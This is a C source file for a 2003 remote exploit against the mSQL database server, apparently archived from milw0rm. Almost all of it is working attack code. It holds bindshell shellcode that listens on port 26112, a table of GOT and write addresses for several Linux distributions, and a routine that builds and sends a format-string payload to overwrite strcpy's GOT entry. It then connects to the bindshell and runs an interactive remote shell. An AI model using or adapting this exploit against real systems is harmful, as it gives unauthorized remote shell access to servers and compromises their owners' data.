/* _ ________ _____ ______
__ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
_/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
- -------\______||--._____\---._______//-|__ //-.___|----._____||
/ \ /
\/
[*] mSQL < remote gid root exploit by lucipher & The Itch (netric)
------------------------------------------------------------------------------
[*] Exploits a format string hole in mSQL.
[*] Some functions are taken from mSQL's sourcecode
Copyright (c) 2003 Netric Security and lucipher
All rights reserved.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#include <stdio.h> /* required by fatal() */
#include <stdlib.h>
#include <stdarg.h> /* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h> /* required by errno */
#include <getopt.h> /* required by getopt() */
#include <signal.h>
#define PKT_LEN (128*1024)
#define ERR_BUF_LEN 200
#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
if (*cp == '\n') *cp = 0;}
#define NET_READ(fd,b,l) read(fd,b,l)
#define NET_WRITE(fd,b,l) write(fd,b,l)
#define SERVER_GONE_ERROR "server has gone...\n"
#define UNKNOWN_ERROR "foo!"
static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;
int netReadPacket(int fd);
int netWritePacket(int fd);
/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
"\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
static void intToBuf(cp, val)
u_char *cp;
int val;
{
*cp++ = (unsigned int) (val & 0x000000ff);
*cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
*cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
*cp++ = (unsigned int) (val & 0xff000000) >> 24;
}
static int bufToInt(cp)
u_char *cp;
{
int val;
val = 0;
val = *cp++;
val += ((int) *cp++) << 8;
val += ((int) *cp++) << 16;
val += ((int) *cp++) << 24;
return (val);
}
int netWritePacket(fd)
int fd;
{
int len, offset, remain, numBytes;
len = strlen((char *) packet);
intToBuf(packetBuf, len);
offset = 0;
remain = len + 4;
while (remain > 0) {
numBytes = NET_WRITE(fd, packetBuf + offset, remain);
if (numBytes == -1) {
return (-1);
}
offset += numBytes;
remain -= numBytes;
}
return (0);
}
int netReadPacket(fd)
int fd;
{
u_char buf[4];
int len, remain, offset, numBytes;
remain = 4;
offset = 0;
numBytes = 0;
readTimeout = 0;
while (remain > 0) {
/*
** We can't just set an alarm here as on lots of boxes
** both read and recv are non-interuptable. So, we
** wait till there something to read before we start
** reading in the server (not the client)
*/
if (!readTimeout) {
numBytes = NET_READ(fd, buf + offset, remain);
if (numBytes < 0 && errno != EINTR) {
fprintf(stderr,
"Socket read on %d for length failed : ",
fd);
perror("");
}
if (numBytes <= 0)
return (-1);
}
if (readTimeout)
break;
remain -= numBytes;
offset += numBytes;
}
len = bufToInt(buf);
if (len > PKT_LEN) {
fprintf(stderr, "Packet too large (%d)\n", len);
return (-1);
}
if (len < 0) {
fprintf(stderr, "Malformed packet\n");
return (-1);
}
remain = len;
offset = 0;
while (remain > 0) {
numBytes = NET_READ(fd, packet + offset, remain);
if (numBytes <= 0) {
return (-1);
}
remain -= numBytes;
offset += numBytes;
}
*(packet + len) = 0;
return (len);
}
int msqlSelectDB(int sock, char *db)
{
memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));
packet = packetBuf+4;
snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
netWritePacket(sock);
if (netReadPacket(sock) <= 0) {
strcpy(msqlErrMsg, SERVER_GONE_ERROR);
return (-1);
}
if (atoi(packet) == -1) {
char *cp;
cp = (char *) index(packet, ':');
if (cp) {
strcpy(msqlErrMsg, cp + 1);
chopError();
} else {
strcpy(msqlErrMsg, UNKNOWN_ERROR);
}
return (-1);
}
return (0);
}
struct target {
char *name; /* target description */
unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
unsigned long smashaddr; /* strcpy's GOT address */
unsigned long pops; /* number of stack pops */
};
/* high and low words indexers */
enum { hi, lo };
/* default values. */
struct target targets[] = {
/* name write smash pops */
{ "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
{ "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
{ "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
{ "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
{ NULL, 0x0, 0x0, 0 }
};
void fatal(char *fmt, ...)
{
char buffer[1024];
va_list ap;
va_start(ap, fmt);
vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
va_end(ap);
fprintf(stderr, "%s", buffer);
exit(1);
}
/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
struct hostent *he;
unsigned long addr;
int n;
he = gethostbyname(hostname);
if (he == NULL) {
n = inet_aton(hostname, (struct in_addr *) addr);
if (n < 0)
fatal("inet_aton: %s\n", strerror(errno));
return addr;
}
return *(unsigned long *) he->h_addr;
}
/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
struct sockaddr_in sin;
int fd, n;
sin.sin_addr.s_addr = tcp_resolv(hostname);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
fd = socket(AF_INET, SOCK_STREAM, 6);
if (fd < 0)
return -1;
n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
if (n < 0)
return -1;
return fd;
}
int msql_login(char *hostname, unsigned short int port)
{
char buffer[300], *p;
int fd, n, opt;
fd = tcp_connect(hostname, port);
if (fd < 0)
fatal("[-] couldn't connect to host %s:%u\n", hostname, port);
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);
memset(&buffer, 0x0, sizeof(buffer));
n = read(fd, &buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] could not read socket: %s\n", strerror(errno));
p = (char *)&buffer + 4;
if (atoi(p) == -1)
fatal("[-] bad handshake received.\n");
p++;
if (*p != ':') p++;
p++;
if (*p >= '1' && *p <= '3') {
/* send buffer size within packet. */
buffer[0] = (unsigned int) (5UL & 0x000000ff);
buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
/* sorta like our login. */
buffer[4] = 'r';
buffer[5] = 'o';
buffer[6] = 'o';
buffer[7] = 't';
buffer[8] = '\n';
buffer[9] = '\0';
write(fd, buffer, 9);
}
n = read(fd, buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] client failed in handshake.\n");
printf("[+] connected to %s -> %u\n", hostname, port);
return fd;
}
void msql_selectdb(int fd, char *database)
{
unsigned char buffer[300];
unsigned int len;
len = 117;
buffer[0] = (unsigned char)(len & 0x000000ff);
buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
buffer[3] = (unsigned char)(len & 0xff000000) >> 24;
snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
len = write(fd, &buffer[0], len);
}
void shell(int fd)
{
char buf[512];
fd_set rfds;
int l;
write(fd, "id ; uname -a\n", 14);
while (1) {
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
select(fd + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET(0, &rfds)) {
l = read(0, buf, sizeof (buf));
if (l <= 0) {
perror("read user");
exit(EXIT_FAILURE);
}
write(fd, buf, l);
}
if (FD_ISSET(fd, &rfds)) {
l = read(fd, buf, sizeof (buf));
if (l == 0) {
fatal("connection closed by foreign host.\n");
} else if (l < 0) {
perror("read remote");
exit (EXIT_FAILURE);
}
write(1, buf, l);
}
}
}
void usage(void)
{
fprintf(stderr, "mSQLexploit\n\n");
fprintf(stderr, " -l\t\tlist available targets.\n");
fprintf(stderr, " -t target\ttarget selection.\n");
fprintf(stderr, " *** MANUAL ATTACK ***\n");
fprintf(stderr, " -s [addr]\tsmash address.\n");
fprintf(stderr, " -w [addr]\twrite address.\n");
fprintf(stderr, " -p [num]\tnumber of pops.\n");
exit(1);
}
int main(int argc, char **argv)
{
struct target manual;
struct target *target = NULL;
unsigned short port = 0, addr[2];
unsigned char split[4];
char *hostname, buffer[200];
int fd, opt;
if (argc <= 1)
usage();
memset(&manual, 0x00, sizeof(struct target));
while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
switch (opt) {
case 't': /* pre-written target selection */
target = &targets[atoi(optarg)];
break;
case 'l':
{
int i;
/* iterate through the list of targets and display. */
for (i = 0; targets[i].name; i++)
printf("[%d] %s\n", i, targets[i].name);
exit(1);
}
case 'h':
/* print exploit usage information */
usage();
break; /* never reached */
case 's':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->smashaddr = strtoul(optarg, NULL, 16);
break;
case 'w':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
break;
case 'p':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->pops = atoi(optarg);
}
}
argc -= optind;
argv += optind;
if (argc <= 0) {
fatal("choose a hostname and optionally a port\n");
} else if (argc == 1) {
hostname = argv[0];
} else {
hostname = argv[0];
port = atoi(argv[1]) & 0xff;
}
if (target != NULL) {
if (!strncmp(target->name, "Manual", 6))
if (!target->smashaddr || !target->writeaddr ||
!target->pops)
fatal("exploit requires pop count and "
"smash, write addresses: use -p and -w and -s "
"to set them\n");
} else {
target = &target[0];
}
printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);
fd = msql_login(hostname, (port) ? port : 1114);
printf("[+] name %s\n", target->name);
printf("[+] smash %08lx\n", target->smashaddr);
printf("[+] write %08lx\n", target->writeaddr);
printf("[+] Now building string...\n");
memset(&buffer, 0x0, sizeof(buffer));
addr[lo] = (target->writeaddr & 0x0000ffff);
addr[hi] = (target->writeaddr & 0xffff0000) >> 16;
/* split the address */
split[0] = (target->smashaddr & 0xff000000) >> 24;
split[1] = (target->smashaddr & 0x00ff0000) >> 16;
split[2] = (target->smashaddr & 0x0000ff00) >> 8;
split[3] = (target->smashaddr & 0x000000ff);
/* build the format string */
if (addr[hi] < addr[lo])
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"
"%s"
"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",
split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[hi] - 0x68, target->pops,
addr[lo] - addr[hi], target->pops + 1);
else
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"
"%s"
"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",
split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[lo] - 0x68, target->pops,
addr[hi] - addr[lo], target->pops + 1);
printf("[+] Trying to exploit...\n");
msqlSelectDB(fd, buffer);
switch (opt = fork()) {
case 0:
msqlSelectDB(fd, buffer);
exit(1);
case -1:
fatal("[-] failed fork()!\n");
default:
break;
}
printf("[+] sleeping...\n");
sleep(1);
opt = tcp_connect(hostname, 26112);
if (opt < 0)
fatal("[-] failed! couldn't connect to bindshell!\n");
printf("[+] shell!\n");
shell(opt);
return 0;
}
// milw0rm.com [2003-07-25]